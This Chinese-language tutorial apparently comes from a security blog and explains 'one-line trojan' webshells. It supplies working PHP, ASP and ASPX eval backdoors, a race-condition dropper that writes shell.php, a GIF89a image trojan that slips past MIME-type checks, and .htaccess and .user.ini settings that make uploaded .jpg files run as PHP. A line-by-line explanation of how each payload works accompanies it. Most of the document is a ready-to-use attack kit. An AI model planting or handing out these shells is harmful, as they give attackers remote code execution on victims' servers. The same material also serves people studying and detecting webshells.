一句话木马


什么是一句话木马

一句话木马是一种短小精悍的恶意代码,通常只有一行之长。
这种木马可以以上传文件、修改配置等方式将恶意代码植入到受害者服务器上
然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。

常见的一句话木马

我们接触的一句话木马大多为这种,它需要在PHP环境中才可使用

<?php @eval($_POST[cmd]);  ?>

木马原理

(1)$_POST[cmd]
    $_POST 是 PHP 中的一个超全局变量,POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
(2)eval()
    eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。
    该函数对php语法要求严格,所传入语句必须以" ; "号结尾
(3)@
    符号@的作用是屏蔽该语句的报错信息
    如果站点PHP版本>=8.0的话会报错
(4)脉络梳理
    用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码

可用于条件竞争的一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

这段代码是用来创建一个名为shell.php的文件,并在其中写入一段代码。
这段代码的作用是接受一个POST请求中的cmd参数,并将其作为PHP代码执行。

图片马

木马内容

GIF89a
<?php @eval($_POST[cmd]);  ?>
 
//GIF89a 为了绕过可能存在的MIME头检测

.htaccess文件

<FilesMatch "jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

//大体意思是设置当前目录所有带jpg的文件名都使用php解析
//无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行

.user.ini扩展文件

auto_prepend_file=shell.jpg
 
//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
//auto_append_file 是页尾包含

一句话木马收集

ASP一句话木马:

<% execute(request("value")) %>

PHP一句话木马:

<?php @eval($_POST['value']); ?>

变形后的PHP一句话木马:

<?php
  $x = $_GET['z'];
  @eval("$x;");
?>

ASPX一句话木马:

<%@ Page Language="Jscript" %>
<% eval(Request.Item["value"]) %>

评论
  目录